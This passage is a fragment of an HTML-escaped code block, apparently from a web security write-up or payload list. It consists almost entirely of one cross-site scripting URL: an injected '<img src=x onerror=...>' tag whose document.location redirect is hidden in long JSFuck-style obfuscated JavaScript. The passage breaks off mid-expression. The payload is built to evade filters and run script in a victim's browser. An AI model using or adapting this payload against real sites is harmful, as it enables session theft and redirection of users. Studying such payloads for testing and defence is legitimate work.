class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost/REDACTED/%3Cimg%20src=x%20onerror=document.location=(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()+[])[!+[]+!+[]+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+(!![]+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+[!+[]+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+(!+[]+!+[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]])+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[])[!+[]+!+[]+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+[]]+![]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][[]]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([]